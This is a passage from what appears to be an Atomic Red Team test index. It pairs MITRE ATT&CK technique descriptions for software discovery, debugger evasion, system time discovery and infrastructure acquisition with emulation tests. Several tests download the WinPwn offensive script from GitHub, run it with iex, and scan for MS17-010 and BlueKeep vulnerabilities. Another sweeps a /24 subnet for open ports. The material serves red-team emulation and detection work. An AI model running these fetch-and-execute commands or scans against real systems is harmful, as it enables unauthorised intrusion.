$S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') spoolvulnscan -noninteractive -consoleoutput name: powershell - name: WinPwn - MS17-10 auto_generated_guid: 97585b04-5be2-40e9-8c31-82157b8af2d6 description: Search for MS17-10 vulnerable Windows Servers in the domain using powerSQL function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') MS17-10 -noninteractive -consoleoutput name: powershell - name: WinPwn - bluekeep auto_generated_guid: 1cca5640-32a9-46e6-b8e0-fabbe2384a73 description: Search for bluekeep vulnerable Windows Systems in the domain using bluekeep function of WinPwn. Can take many minutes to complete (~600 seconds in testing on a small domain). supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') bluekeep -noninteractive -consoleoutput name: powershell - name: WinPwn - fruit auto_generated_guid: bb037826-cbe8-4a41-93ea-b94059d6bb98 description: Search for potentially vulnerable web apps (low hanging fruits) using fruit function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') fruit -noninteractive -consoleoutput name: powershell - name: Network Service Discovery for Containers auto_generated_guid: 06eaafdb-8982-426e-8a31-d572da633caa description: Attackers may try to obtain a list of services that are operating on remote hosts and local network infrastructure devices, in order to identify potential vulnerabilities that can be exploited through remote software attacks. They typically use tools to conduct port and vulnerability scans in order to obtain this information. supported_platforms: - containers dependency_executor_name: sh dependencies: - description: Verify docker is installed. prereq_command: 'which docker ' get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi ' - description: Verify docker service is running. prereq_command: 'sudo systemctl status docker --no-pager ' get_prereq_command: 'sudo systemctl start docker ' executor: command: |- docker build -t t1046 /root/AtomicRedTeam/atomics/T1046/src/ docker run --name t1046_container -d -t t1046 docker exec t1046_container ./test.sh cleanup_command: |- docker stop t1046_container docker rmi -f t1046 name: sh - name: Port-Scanning /24 Subnet with PowerShell auto_generated_guid: 05df2a79-dba6-4088-a804-9ca0802ca8e4 description: | Scanning common ports in a /24 subnet. If no IP address for the target subnet is specified the test tries to determine the attacking machine's "primary" IPv4 address first and then scans that address with a /24 netmask. The connection attempts to use a timeout parameter in milliseconds to speed up the scan. Please note the atomic might not print any output until the scans are completed. supported_platforms: - windows input_arguments: ip_address: description: IP-Address within the target subnet. Default is empty and script tries to determine local IP address of attacking machine. type: string default: '' port_list: description: Comma separated list of ports to scan type: string default: 445, 3389 timeout_ms: description: Connection timeout in milliseconds type: string default: '200' executor: command: | $ipAddr = "#{ip_address}" if ($ipAddr -eq "") { # Assumes the "primary" interface is shown at the top $interface = Get-NetIPInterface -AddressFamily IPv4 -ConnectionState Connected | Select-Object -ExpandProperty InterfaceAlias -First 1 Write-Host "[i] Using Interface $interface" $ipAddr = Get-NetIPAddress -AddressFamily IPv4 -InterfaceAlias $interface | Select-Object -ExpandProperty IPAddress } Write-Host "[i] Base IP-Address for Subnet: $ipAddr" $subnetSubstring = $ipAddr.Substring(0, $ipAddr.LastIndexOf('.') + 1) # Always assumes /24 subnet Write-Host "[i] Assuming /24 subnet. scanning $subnetSubstring'1' to $subnetSubstring'254'" $ports = #{port_list} $subnetIPs = 1..254 | ForEach-Object { "$subnetSubstring$_" } foreach ($ip in $subnetIPs) { foreach ($port in $ports) { try { $tcp = New-Object Net.Sockets.TcpClient $tcp.ConnectAsync($ip, $port).Wait(#{timeout_ms}) | Out-Null } catch {} if ($tcp.Connected) { $tcp.Close() Write-Host "Port $port is open on $ip" } } } name: powershell - name: Remote Desktop Services Discovery via PowerShell auto_generated_guid: 9e55750e-4cbf-4013-9627-e9a045b541bf description: 'Availability of remote desktop services can be checked using get- cmdlet of PowerShell ' supported_platforms: - windows executor: command: 'Get-Service -Name "Remote Desktop Services", "Remote Desktop Configuration" ' name: powershell elevation_required: true T1518: technique: modified: '2024-04-16T00:16:06.689Z' name: Software Discovery description: |- Adversaries may attempt to get a listing of software and software versions that are installed on a system or in a cloud environment. Adversaries may use the information from [Software Discovery](https://attack.mitre.org/techniques/T1518) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions. Such software may be deployed widely across the environment for configuration management or security reasons, such as [Software Deployment Tools](https://attack.mitre.org/techniques/T1072), and may allow adversaries broad access to infect devices or move laterally. Adversaries may attempt to enumerate software for a variety of reasons, such as figuring out what security measures are present or if the compromised system has a version of software that is vulnerable to [Exploitation for Privilege Escalation](https://attack.mitre.org/techniques/T1068). kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_deprecated: false x_mitre_detection: |- System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001). x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - IaaS - Linux - macOS x_mitre_version: '1.4' x_mitre_data_sources: - 'Process: OS API Execution' - 'Command: Command Execution' - 'Process: Process Creation' - 'Firewall: Firewall Enumeration' - 'Firewall: Firewall Metadata' type: attack-pattern id: attack-pattern--e3b6daca-e963-4a69-aee6-ed4fd653ad58 created: '2019-09-16T17:52:44.147Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1518 external_id: T1518 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1518 atomic_tests: - name: Find and Display Internet Explorer Browser Version auto_generated_guid: 68981660-6670-47ee-a5fa-7e74806420a4 description: | Query the registry to determine the version of internet explorer installed on the system. Upon execution, version information about internet explorer will be displayed. supported_platforms: - windows executor: command: 'reg query "HKEY_LOCAL_MACHINE\Software\Microsoft\Internet Explorer" /v svcVersion ' name: command_prompt - name: Applications Installed auto_generated_guid: c49978f6-bd6e-4221-ad2c-9e3e30cc1e3b description: | Query the registry to determine software and versions installed on the system. Upon execution a table of software name and version information will be displayed. supported_platforms: - windows executor: command: | Get-ItemProperty HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize Get-ItemProperty HKLM:\Software\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall\* | Select-Object DisplayName, DisplayVersion, Publisher, InstallDate | Format-Table -Autosize name: powershell - name: Find and Display Safari Browser Version auto_generated_guid: 103d6533-fd2a-4d08-976a-4a598565280f description: 'Adversaries may attempt to get a listing of non-security related software that is installed on the system. Adversaries may use the information from Software Discovery during automated discovery to shape follow-on behaviors ' supported_platforms: - macos executor: name: sh elevation_required: false command: | /usr/libexec/PlistBuddy -c "print :CFBundleShortVersionString" /Applications/Safari.app/Contents/Info.plist /usr/libexec/PlistBuddy -c "print :CFBundleVersion" /Applications/Safari.app/Contents/Info.plist - name: WinPwn - Dotnetsearch auto_generated_guid: 7e79a1b6-519e-433c-ad55-3ff293667101 description: Search for any .NET binary file in a share using the Dotnetsearch function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') Dotnetsearch -noninteractive -consoleoutput name: powershell - name: WinPwn - DotNet auto_generated_guid: 10ba02d0-ab76-4f80-940d-451633f24c5b description: Search for .NET Service-Binaries on this system via winpwn dotnet function of WinPwn. supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') dotnet -consoleoutput -noninteractive name: powershell - name: WinPwn - powerSQL auto_generated_guid: 0bb64470-582a-4155-bde2-d6003a95ed34 description: Start PowerUpSQL Checks using powerSQL function of WinPwn supported_platforms: - windows executor: command: |- $S3cur3Th1sSh1t_repo='https://raw.githubusercontent.com/S3cur3Th1sSh1t' iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1') powerSQL -noninteractive -consoleoutput name: powershell T1538: technique: modified: '2024-04-19T04:25:33.300Z' name: Cloud Service Dashboard description: |- An adversary may use a cloud service dashboard GUI with stolen credentials to gain useful information from an operational cloud environment, such as specific services, resources, and features. For example, the GCP Command Center can be used to view all assets, findings of potential security risks, and to run additional queries, such as finding public IP addresses and open ports.(Citation: Google Command Center Dashboard) Depending on the configuration of the environment, an adversary may be able to enumerate more information via the graphical dashboard than an API. This allows the adversary to gain information without making any API requests. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - Praetorian - Obsidian Security x_mitre_deprecated: false x_mitre_detection: 'Monitor account activity logs to see actions performed and activity associated with the cloud service management console. Some cloud providers, such as AWS, provide distinct log events for login attempts to the management console.(Citation: AWS Console Sign-in Events)' x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Azure AD - Office 365 - IaaS - Google Workspace - SaaS x_mitre_version: '1.3' x_mitre_data_sources: - 'Logon Session: Logon Session Creation' - 'User Account: User Account Authentication' type: attack-pattern id: attack-pattern--e49920b0-6c54-40c1-9571-73723653205f created: '2019-08-30T18:11:24.582Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1538 external_id: T1538 - source_name: AWS Console Sign-in Events description: Amazon. (n.d.). AWS Console Sign-in Events. Retrieved October 23, 2019. url: https://docs.aws.amazon.com/awscloudtrail/latest/userguide/cloudtrail-event-reference-aws-console-sign-in-events.html - source_name: Google Command Center Dashboard description: 'Google. (2019, October 3). Quickstart: Using the dashboard. Retrieved October 8, 2019.' url: https://cloud.google.com/security-command-center/docs/quickstart-scc-dashboard object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1622: technique: x_mitre_platforms: - Windows - Linux - macOS x_mitre_domains: - enterprise-attack x_mitre_contributors: - TruKno object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 type: attack-pattern id: attack-pattern--e4dc8c01-417f-458d-9ee0-bb0617c1b391 created: '2022-04-01T17:59:46.156Z' x_mitre_version: '1.0' external_references: - source_name: mitre-attack external_id: T1622 url: https://attack.mitre.org/techniques/T1622 - source_name: Checkpoint Dridex Jan 2021 url: https://research.checkpoint.com/2021/stopping-serial-killer-catching-the-next-strike/ description: 'Check Point Research. (2021, January 4). Stopping Serial Killer: Catching the Next Strike. Retrieved September 7, 2021.' - source_name: hasherezade debug url: https://github.com/hasherezade/malware_training_vol1/blob/main/slides/module3/Module3_2_fingerprinting.pdf description: hasherezade. (2021, June 30). Module 3 - Understanding and countering malware's evasion and self-defence. Retrieved April 1, 2022. - source_name: AlKhaser Debug url: https://github.com/LordNoteworthy/al-khaser/tree/master/al-khaser/AntiDebug description: Noteworthy. (2019, January 6). Al-Khaser. Retrieved April 1, 2022. - source_name: wardle evilquest partii url: https://objective-see.com/blog/blog_0x60.html description: 'Patrick Wardle. (2020, July 3). OSX.EvilQuest Uncovered part ii: insidious capabilities. Retrieved March 21, 2021.' - source_name: ProcessHacker Github url: https://github.com/processhacker/processhacker description: ProcessHacker. (2009, October 27). Process Hacker. Retrieved April 11, 2022. - source_name: vxunderground debug url: https://github.com/vxunderground/VX-API/tree/main/Anti%20Debug description: vxunderground. (2021, June 30). VX-API. Retrieved April 1, 2022. x_mitre_deprecated: false revoked: false description: |- Adversaries may employ various means to detect and avoid debuggers. Debuggers are typically used by defenders to trace and/or analyze the execution of potential malware payloads.(Citation: ProcessHacker Github) Debugger evasion may include changing behaviors based on the results of the checks for the presence of artifacts indicative of a debugged environment. Similar to [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497), if the adversary detects a debugger, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for debugger artifacts before dropping secondary or additional payloads. Specific checks will vary based on the target and/or adversary, but may involve [Native API](https://attack.mitre.org/techniques/T1106) function calls such as IsDebuggerPresent() and NtQueryInformationProcess(), or manually checking the BeingDebugged flag of the Process Environment Block (PEB). Other checks for debugging artifacts may also seek to enumerate hardware breakpoints, interrupt assembly opcodes, time checks, or measurements if exceptions are raised in the current process (assuming a present debugger would “swallow” or handle the potential error).(Citation: hasherezade debug)(Citation: AlKhaser Debug)(Citation: vxunderground debug) Adversaries may use the information learned from these debugger checks during automated discovery to shape follow-on behaviors. Debuggers can also be evaded by detaching the process or flooding debug logs with meaningless data via messages produced by looping [Native API](https://attack.mitre.org/techniques/T1106) function calls such as OutputDebugStringW().(Citation: wardle evilquest partii)(Citation: Checkpoint Dridex Jan 2021) modified: '2022-05-11T14:00:00.188Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Debugger Evasion x_mitre_detection: |- Debugger related system checks will likely occur in the first steps of an operation but may also occur throughout as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as lateral movement, based on the information obtained. Detecting actions related to debugger identification may be difficult depending on the adversary's implementation and monitoring required. Monitoring for suspicious [Native API](https://attack.mitre.org/techniques/T1106) function calls as well as processes being spawned that gather a variety of system information or perform other forms of Discovery, especially in a short period of time, may aid in detection. Monitor debugger logs for signs of abnormal and potentially malicious activity. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: defense-evasion - kill_chain_name: mitre-attack phase_name: discovery x_mitre_is_subtechnique: false x_mitre_data_sources: - 'Process: Process Creation' - 'Process: OS API Execution' - 'Application Log: Application Log Content' - 'Command: Command Execution' x_mitre_attack_spec_version: 2.1.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1622 atomic_tests: - name: Detect a Debugger Presence in the Machine auto_generated_guid: 58bd8c8d-3a1a-4467-a69c-439c75469b07 description: Detecting a running debugger process or if the debugger is attached to a process via PowerShell supported_platforms: - windows executor: command: "# Check for common debugger processes\n$debuggerProcesses = Get-Process | Where-Object { $_.ProcessName -match \"dbg\" -or $_.ProcessName -match \"debug\" }\n# Check for debugging flags\n$debuggingFlags = [System.Diagnostics.Debugger]::IsAttached " name: powershell elevation_required: true T1124: technique: modified: '2024-04-16T12:50:15.929Z' name: System Time Discovery description: |- An adversary may gather the system time and/or time zone settings from a local or remote system. The system time is set and stored by services, such as the Windows Time Service on Windows or systemsetup on macOS.(Citation: MSDN System Time)(Citation: Technet Windows Time Service)(Citation: systemsetup mac time) These time settings may also be synchronized between systems and services in an enterprise network, typically accomplished with a network time server within a domain.(Citation: Mac Time Sync)(Citation: linux system time) System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing net time \\hostname to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using w32tm /tz.(Citation: Technet Windows Time Service) In addition, adversaries can discover device uptime through functions such as GetTickCount() to determine how long it has been since the system booted up.(Citation: Virtualization/Sandbox Evasion) On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show clock detail` can be used to see the current time configuration.(Citation: show_clock_detail_cisco_cmd) In addition, system calls – such as time() – have been used to collect the current time on Linux devices.(Citation: MAGNET GOBLIN) On macOS systems, adversaries may use commands such as systemsetup -gettimezone or timeIntervalSinceNow to gather current time zone information or current date and time.(Citation: System Information Discovery Technique)(Citation: ESET DazzleSpy Jan 2022) This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)(Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: discovery x_mitre_contributors: - FIRST.ORG's Cyber Threat Intelligence SIG - Austin Clark, @c2defense x_mitre_deprecated: false x_mitre_detection: |- Command-line interface monitoring may be useful to detect instances of net.exe or other command-line utilities being used to gather system time or time zone. Methods of detecting API use for gathering this information are likely less useful due to how often they may be used by legitimate software. For network infrastructure devices, collect AAA logging to monitor `show` commands being run by non-standard users from non-standard locations. x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - Windows - Network - Linux - macOS x_mitre_version: '1.4' x_mitre_data_sources: - 'Process: OS API Execution' - 'Command: Command Execution' - 'Process: Process Creation' type: attack-pattern id: attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077 created: '2017-05-31T21:31:37.450Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1124 external_id: T1124 - source_name: systemsetup mac time description: Apple Support. (n.d.). About systemsetup in Remote Desktop. Retrieved March 27, 2024. url: https://support.apple.com/en-gb/guide/remote-desktop/apd95406b8d/mac - source_name: linux system time description: ArchLinux. (2024, February 1). System Time. Retrieved March 27, 2024. url: https://wiki.archlinux.org/title/System_time - source_name: MAGNET GOBLIN description: Check Point Research. (2024, March 8). MAGNET GOBLIN TARGETS PUBLICLY FACING SERVERS USING 1-DAY VULNERABILITIES. Retrieved March 27, 2024. url: https://research.checkpoint.com/2024/magnet-goblin-targets-publicly-facing-servers-using-1-day-vulnerabilities/ - source_name: show_clock_detail_cisco_cmd description: 'Cisco. (2023, March 6). show clock detail - Cisco IOS Security Command Reference: Commands S to Z . Retrieved July 13, 2022.' url: https://www.cisco.com/c/en/us/td/docs/ios-xml/ios/security/s1/sec-s1-cr-book/sec-cr-s2.html#wp1896741674 - source_name: Mac Time Sync description: Cone, Matt. (2021, January 14). Synchronize your Mac's Clock with a Time Server. Retrieved March 27, 2024. url: https://www.macinstruct.com/tutorials/synchronize-your-macs-clock-with-a-time-server/ - source_name: ESET DazzleSpy Jan 2022 description: M.Léveillé, M., Cherepanov, A.. (2022, January 25). Watering hole deploys new macOS malware, DazzleSpy, in Asia. Retrieved May 6, 2022. url: https://www.welivesecurity.com/2022/01/25/watering-hole-deploys-new-macos-malware-dazzlespy-asia/ - source_name: AnyRun TimeBomb description: 'Malicious History. (2020, September 17). Time Bombs: Malware With Delayed Execution. Retrieved April 22, 2021.' url: https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/ - source_name: Technet Windows Time Service description: Mathers, B. (2016, September 30). Windows Time Service Tools and Settings. Retrieved November 25, 2016. url: https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings - source_name: MSDN System Time description: Microsoft. (n.d.). System Time. Retrieved November 25, 2016. url: https://msdn.microsoft.com/ms724961.aspx - source_name: RSA EU12 They're Inside description: Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved November 25, 2016. url: https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf - source_name: System Information Discovery Technique description: YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). The System Information Discovery Technique Explained - MITRE ATT&CK T1082. Retrieved March 27, 2024. url: https://www.picussecurity.com/resource/the-system-information-discovery-technique-explained-mitre-attack-t1082 - source_name: Virtualization/Sandbox Evasion description: YUCEEL, Huseyin Can. Picus Labs. (2022, June 9). Virtualization/Sandbox Evasion - How Attackers Avoid Malware Analysis. Retrieved December 26, 2023. url: https://www.picussecurity.com/resource/virtualization/sandbox-evasion-how-attackers-avoid-malware-analysis object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' identifier: T1124 atomic_tests: - name: System Time Discovery auto_generated_guid: 20aba24b-e61f-4b26-b4ce-4784f763ca20 description: 'Identify the system time. Upon execution, the local computer system time and timezone will be displayed. ' supported_platforms: - windows input_arguments: computer_name: description: computer name to query type: string default: localhost executor: command: | net time \\#{computer_name} w32tm /tz name: command_prompt - name: System Time Discovery - PowerShell auto_generated_guid: 1d5711d6-655c-4a47-ae9c-6503c74fa877 description: 'Identify the system time via PowerShell. Upon execution, the system time will be displayed. ' supported_platforms: - windows executor: command: 'Get-Date ' name: powershell - name: System Time Discovery in FreeBSD/macOS auto_generated_guid: f449c933-0891-407f-821e-7916a21a1a6f description: "Identify system time. Upon execution, the local computer system time and timezone will be displayed. \n" supported_platforms: - linux - macos executor: command: 'date ' name: sh - name: System Time Discovery W32tm as a Delay auto_generated_guid: d5d5a6b0-0f92-42d8-985d-47aafa2dd4db description: | identifies DCRat delay time tactics using w32tm. https://research.splunk.com/endpoint/b2cc69e7-11ba-42dc-a269-59c069a48870/ https://blogs.blackberry.com/en/2022/05/dirty-deeds-done-dirt-cheap-russian-rat-offers-backdoor-bargains supported_platforms: - windows executor: command: 'W32tm /stripchart /computer:localhost /period:5 /dataonly /samples:2 ' name: command_prompt - name: System Time with Windows time Command auto_generated_guid: 53ead5db-7098-4111-bb3f-563be390e72e description: | Displays the current system time via the Windows builtin time command: https://learn.microsoft.com/en-us/windows-server/administration/windows-commands/time Recently observed in use in the wild during an incident involving Ursnif malware: https://github.com/The-DFIR-Report/Sigma-Rules/blob/dc72f0b557fc63347379be0a33439788256761c8/rules/windows/process_creation/proc_creation_win_system_time_lookup.yml https://thedfirreport.com/2023/01/09/unwrapping-ursnifs-gifts/ supported_platforms: - windows executor: command: 'time ' name: command_prompt resource-development: T1583: technique: modified: '2024-02-28T21:13:02.648Z' name: Acquire Infrastructure description: |- Adversaries may buy, lease, rent, or obtain infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Some infrastructure providers offer free trial periods, enabling infrastructure acquisition at limited to no cost.(Citation: Free Trial PurpleUrchin) Additionally, botnets are available for rent or purchase. Use of these infrastructure solutions allows adversaries to stage, launch, and execute operations. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contacting third-party web services or acquiring infrastructure to support [Proxy](https://attack.mitre.org/techniques/T1090), including from residential proxy services.(Citation: amnesty_nso_pegasus)(Citation: FBI Proxies Credential Stuffing)(Citation: Mandiant APT29 Microsoft 365 2022) Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down. kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_contributors: - Shailesh Tiwary (Indian Army) - Goldstein Menachem x_mitre_deprecated: false x_mitre_detection: "Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. \n\nOnce adversaries have provisioned infrastructure (ex: a server for use in command and control), internet scans may help proactively discover adversary acquired infrastructure. Consider looking for identifiable patterns such as services listening, certificates in use, SSL/TLS negotiation features, or other response artifacts associated with adversary C2 software.(Citation: ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation: Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control." x_mitre_domains: - enterprise-attack x_mitre_is_subtechnique: false x_mitre_platforms: - PRE x_mitre_version: '1.4' x_mitre_data_sources: - 'Internet Scan: Response Metadata' - 'Internet Scan: Response Content' - 'Domain Name: Active DNS' - 'Domain Name: Passive DNS' - 'Domain Name: Domain Registration' type: attack-pattern id: attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2 created: '2020-09-30T16:37:40.271Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1583 external_id: T1583 - source_name: amnesty_nso_pegasus description: 'Amnesty International Security Lab. (2021, July 18). Forensic Methodology Report: How to catch NSO Group’s Pegasus. Retrieved February 22, 2022.' url: https://www.amnesty.org/en/latest/research/2021/07/forensic-methodology-report-how-to-catch-nso-groups-pegasus/ - source_name: Mandiant APT29 Microsoft 365 2022 description: 'Douglas Bienstock. (2022, August 18). You Can’t Audit Me: APT29 Continues Targeting Microsoft 365. Retrieved February 23, 2023.' url: https://www.mandiant.com/resources/blog/apt29-continues-targeting-microsoft - source_name: FBI Proxies Credential Stuffing description: FBI. (2022, August 18). Proxies and Configurations Used for Credential Stuffing Attacks on Online Customer Accounts . Retrieved July 6, 2023. url: https://www.ic3.gov/Media/News/2022/220818.pdf - source_name: Free Trial PurpleUrchin description: Gamazo, William. Quist, Nathaniel.. (2023, January 5). PurpleUrchin Bypasses CAPTCHA and Steals Cloud Platform Resources. Retrieved February 28, 2024. url: https://unit42.paloaltonetworks.com/purpleurchin-steals-cloud-resources/ - source_name: Koczwara Beacon Hunting Sep 2021 description: Koczwara, M. (2021, September 7). Hunting Cobalt Strike C2 with Shodan. Retrieved October 12, 2021. url: https://michaelkoczwara.medium.com/cobalt-strike-c2-hunting-with-shodan-c448d501a6e2 - source_name: TrendmicroHideoutsLease description: 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease: Bulletproof Hosting Services. Retrieved March 6, 2017.' url: https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf - source_name: Mandiant SCANdalous Jul 2020 description: Stephens, A. (2020, July 13). SCANdalous! (External Detection Using Network Scan Data and Automation). Retrieved October 12, 2021. url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation - source_name: ThreatConnect Infrastructure Dec 2020 description: 'ThreatConnect. (2020, December 15). Infrastructure Research and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.' url: https://threatconnect.com/blog/infrastructure-research-hunting/ object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 x_mitre_attack_spec_version: 3.2.0 x_mitre_modified_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 spec_version: '2.1' atomic_tests: [] T1583.007: technique: modified: '2022-10-20T21:20:22.578Z' name: Serverless description: |- Adversaries may purchase and configure serverless cloud infrastructure, such as Cloudflare Workers or AWS Lambda functions, that can be used during targeting. By utilizing serverless infrastructure, adversaries can make it more difficult to attribute infrastructure used during operations back to them. Once acquired, the serverless runtime environment can be leveraged to either respond directly to infected machines or to [Proxy](https://attack.mitre.org/techniques/T1090) traffic to an adversary-owned command and control server.(Citation: BlackWater Malware Cloudflare Workers)(Citation: AWS Lambda Redirector) As traffic generated by these functions will appear to come from subdomains of common cloud providers, it may be difficult to distinguish from ordinary traffic to these providers.(Citation: Detecting Command & Control in the Cloud)(Citation: BlackWater Malware Cloudflare Workers) kill_chain_phases: - kill_chain_name: mitre-attack phase_name: resource-development x_mitre_detection: '' x_mitre_platforms: - PRE x_mitre_is_subtechnique: true x_mitre_deprecated: false x_mitre_domains: - enterprise-attack x_mitre_version: '1.0' x_mitre_contributors: - Awake Security x_mitre_data_sources: - 'Internet Scan: Response Content' type: attack-pattern id: attack-pattern--04a5a8ab-3bc8-4c83-95c9-55274a89786d created: '2022-07-08T12:39:29.684Z' created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 revoked: false external_references: - source_name: mitre-attack url: https://attack.mitre.org/techniques/T1583/007 external_id: T1583.007 - source_name: AWS Lambda Redirector description: Adam Chester. (2020, February 25). AWS Lambda Redirector. Retrieved July 8, 2022. url: https://blog.xpnsec.com/aws-lambda-redirector/ - source_name: Detecting Command & Control in the Cloud description: 'Gary Golomb. (n.d.). Threat Hunting Series: Detecting Command & Control in the Cloud. Retrieved July 8, 2022.' url: https://awakesecurity.com/blog/threat-hunting-series-detecting-command-control-in-the-cloud/ - source_name: BlackWater Malware Cloudflare Workers description: Lawrence Abrams. (2020, March 14). BlackWater Malware Abuses Cloudflare Workers for C2 Communication. Retrieved July 8, 2022. url: 